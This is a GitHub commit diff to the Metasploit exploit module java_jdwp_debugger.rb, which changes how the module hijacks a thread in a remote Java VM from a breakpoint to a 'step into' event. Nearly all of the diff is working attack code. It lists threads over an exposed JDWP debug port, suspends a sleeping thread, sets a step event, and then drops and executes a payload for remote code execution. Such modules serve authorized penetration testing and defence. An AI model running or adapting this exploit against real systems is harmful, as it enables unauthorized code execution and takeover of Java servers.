Skip to content

Commit 4f67db6

Browse files
committed
Modify breakpoint approach by step into
1 parent 73536f2 commit 4f67db6

File tree

1 file changed

+105
-57
lines changed

1 file changed

+105
-57
lines changed

modules/exploits/multi/misc/java_jdwp_debugger.rb

Lines changed: 105 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,9 @@ class Metasploit3 < Msf::Exploit::Remote
4949
MODKIND_THREADONLY = 2
5050
MODKIND_CLASSMATCH = 5
5151
MODKIND_LOCATIONONLY = 7
52+
MODKIND_STEP = 10
5253
EVENT_BREAKPOINT = 2
54+
EVENT_STEP = 1
5355
SUSPEND_EVENTTHREAD = 1
5456
SUSPEND_ALL = 2
5557
NOT_IMPLEMENTED = 99
@@ -60,6 +62,10 @@ class Metasploit3 < Msf::Exploit::Remote
6062
TYPE_CLASS = 1
6163
TAG_ARRAY = 91
6264
TAG_VOID = 86
65+
TAG_THREAD = 116
66+
STEP_INTO = 0
67+
STEP_MIN = 0
68+
THREAD_SLEEPING_STATUS = 2
6369

6470

6571
def initialize
@@ -322,6 +328,21 @@ def is_java_eight
322328
version.downcase =~ /1[.]8[.]/
323329
end
324330

331+
# Returns reference for all threads currently running on target VM
332+
def get_all_threads
333+
sock.put(create_packet(ALLTHREADS_SIG))
334+
response = read_reply
335+
num_threads = response.unpack('N').first
336+
response.slice!(0..3)
337+
338+
size = @vars["objectid_size"]
339+
num_threads.times do
340+
t_id = unformat(size, response[0..size-1])
341+
@threads[t_id] = nil
342+
response.slice!(0..size-1)
343+
end
344+
end
345+
325346
# Returns reference types for all classes currently loaded by the target VM
326347
def get_all_classes
327348
return unless @classes.empty?
@@ -416,20 +437,54 @@ def str_to_fq_class(s)
416437
return classname, method
417438
end
418439

419-
# Resumes execution of the application after the suspend command or an event has stopped it
420-
def resume_vm
421-
sock.put(create_packet(RESUMEVM_SIG))
422-
response = read_reply
440+
# Gets the status of a given thread
441+
def thread_status(thread_id)
442+
sock.put(create_packet(THREADSTATUS_SIG, format(@vars["objectid_size"], thread_id)))
443+
buf = read_reply(datastore['BREAK_TIMEOUT'])
444+
unless buf
445+
fail_with(Exploit::Failure::Unknown, "No network response")
446+
end
447+
status, suspend_status = buf.unpack('NN')
423448

449+
status
450+
end
451+
452+
# Resumes execution of the application or thread after the suspend command or an event has stopped it
453+
def resume_vm(thread_id = nil)
454+
if thread_id.nil?
455+
sock.put(create_packet(RESUMEVM_SIG))
456+
else
457+
sock.put(create_packet(THREADRESUME_SIG, format(@vars["objectid_size"], thread_id)))
458+
end
459+
460+
response = read_reply(datastore['BREAK_TIMEOUT'])
424461
unless response
425462
fail_with(Exploit::Failure::Unknown, "No network response")
426463
end
464+
465+
response
466+
end
467+
468+
# Suspend execution of the application or thread
469+
def suspend_vm(thread_id = nil)
470+
if thread_id.nil?
471+
sock.put(create_packet(SUSPENDVM_SIG))
472+
else
473+
sock.put(create_packet(THREADSUSPEND_SIG, format(@vars["objectid_size"], thread_id)))
474+
end
475+
476+
response = read_reply
477+
unless response
478+
fail_with(Exploit::Failure::Unknown, "No network response")
479+
end
480+
481+
response
427482
end
428483

429484
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
430485
def send_event(event_code, args)
431486
data = [event_code].pack('C')
432-
data << [SUSPEND_ALL].pack('C')
487+
data << [SUSPEND_EVENTTHREAD].pack('C')
433488
data << [args.length].pack('N')
434489

435490
args.each do |kind,option|
@@ -473,15 +528,14 @@ def force_net_event
473528
end
474529

475530
# Parses a received event and compares it with the expected
476-
def parse_event_breakpoint(buf, event_id)
477-
r_id = buf[6..9].unpack('N')[0]
478-
479-
return nil unless event_id == r_id
480-
531+
def parse_event_breakpoint(buf, event_id, thread_id)
481532
len = @vars["objectid_size"]
533+
return false if buf.length < 10 + len - 1
534+
535+
r_id = buf[6..9].unpack('N')[0]
482536
t_id = unformat(len,buf[10..10+len-1])
483537

484-
return r_id, t_id
538+
return (event_id == r_id) && (thread_id == t_id)
485539
end
486540

487541
# Clear a defined event request
@@ -729,39 +783,35 @@ def execute_command(thread_id, cmd)
729783
end
730784
end
731785

732-
# Sets a breakpoint on frequently called method (user-defined)
733-
def set_breakpoint
734-
vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAKPOINT']}")
735-
736-
# 1. Gets reference of the method where breakpoint is going to be setted
737-
classname, method = str_to_fq_class(datastore['BREAKPOINT'])
738-
break_class = get_class_by_name(classname)
739-
unless break_class
740-
fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application")
786+
# Set event for stepping into a running thread
787+
def set_step_event
788+
# 1. Select a thread in sleeping status
789+
t_id = nil
790+
@threads.each_key do |thread|
791+
if thread_status(thread) == THREAD_SLEEPING_STATUS
792+
t_id = thread
793+
break
794+
end
741795
end
796+
fail_with(Failure::Unknown, "Could not find a suitable thread for stepping") if t_id.nil?
742797

743-
get_methods(break_class["reftype_id"])
744-
m = get_method_by_name(break_class["reftype_id"], method)
745-
unless m
746-
fail_with(Failure::BadConfig, "Method of Break Class not found")
747-
end
798+
# 2. Suspend the thread before setting the event
799+
suspend_vm(t_id)
748800

749-
# 2. Sends event request for this method
750-
loc = [TYPE_CLASS].pack('C')
751-
loc << format(@vars["referencetypeid_size"], break_class["reftype_id"])
752-
loc << format(@vars["methodid_size"], m["method_id"])
753-
loc << [0,0].pack('NN')
801+
vprint_status("#{peer} - Setting 'step into' event in thread: #{t_id}")
802+
step_info = format(@vars["objectid_size"], t_id)
803+
step_info << [STEP_MIN].pack('N')
804+
step_info << [STEP_INTO].pack('N')
805+
data = [[MODKIND_STEP, step_info]]
754806

755-
data = [[MODKIND_LOCATIONONLY, loc]]
756-
r_id = send_event(EVENT_BREAKPOINT, data)
807+
r_id = send_event(EVENT_STEP, data)
757808
unless r_id
758-
fail_with(Failure::Unknown, "Could not set the breakpoint")
809+
fail_with(Failure::Unknown, "Could not set the event")
759810
end
760811

761-
r_id
812+
return r_id, t_id
762813
end
763814

764-
765815
# Uploads & executes the payload on the target VM
766816
def exec_payload(thread_id)
767817
# 0. Fingerprinting OS
@@ -799,6 +849,7 @@ def exploit
799849
@vars = {}
800850
@classes = []
801851
@methods = {}
852+
@threads = {}
802853
@os = nil
803854

804855
connect
@@ -807,7 +858,7 @@ def exploit
807858
fail_with(Failure::NotVulnerable, "JDWP Protocol not found")
808859
end
809860

810-
print_status("#{peer} - Retriving the sizes of variable sized data types in the target VM...")
861+
print_status("#{peer} - Retrieving the sizes of variable sized data types in the target VM...")
811862
get_sizes
812863

813864
print_status("#{peer} - Getting the version of the target VM...")
@@ -816,37 +867,34 @@ def exploit
816867
print_status("#{peer} - Getting all currently loaded classes by the target VM...")
817868
get_all_classes
818869

819-
print_status("#{peer} - Setting a breakpoint on #{datastore['BREAKPOINT']}...")
820-
r_id = set_breakpoint
870+
print_status("#{peer} - Getting all running threads in the target VM...")
871+
get_all_threads
872+
873+
print_status("#{peer} - Setting 'step into' event...")
874+
r_id, t_id = set_step_event
821875

822876
print_status("#{peer} - Resuming VM and waiting for an event...")
823-
resume_vm
824-
825-
secs = datastore['BREAK_TIMEOUT']
826-
ret = ""
827-
datastore['NUM_RETRIES'].times do |i|
828-
print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...")
829-
if datastore['BREAKPOINT_PORT'] && datastore['BREAKPOINT_PORT'] > 0
830-
force_net_event
877+
response = resume_vm(t_id)
878+
879+
unless parse_event_breakpoint(response, r_id, t_id)
880+
datastore['NUM_RETRIES'].times do |i|
881+
print_status("#{peer} - Received #{i+1} responses that are not a 'step into' event...")
882+
buf = read_reply
883+
break if parse_event_breakpoint(buf, r_id, t_id)
884+
885+
if i == datastore['NUM_RETRIES']
886+
fail_with(Failure::Unknown, "Event not received in #{datastore['NUM_RETRIES']} attempts")
887+
end
831888
end
832-
buf = read_reply(secs)
833-
ret = parse_event_breakpoint(buf, r_id)
834-
break unless ret.nil?
835889
end
836890

837-
r_id, t_id = ret
838-
839891
vprint_status("#{peer} - Received matching event from thread #{t_id}")
840-
841-
print_status("#{peer} - Deleting breakpoint...")
842-
clear_event(EVENT_BREAKPOINT, r_id)
892+
print_status("#{peer} - Deleting step event...")
893+
clear_event(EVENT_STEP, r_id)
843894

844895
print_status("#{peer} - Dropping and executing payload...")
845896
exec_payload(t_id)
846897

847-
print_status("#{peer} - Resuming the target VM, just in case...")
848-
resume_vm
849-
850898
disconnect
851899
end
852900
end

0 commit comments

Comments
 (0)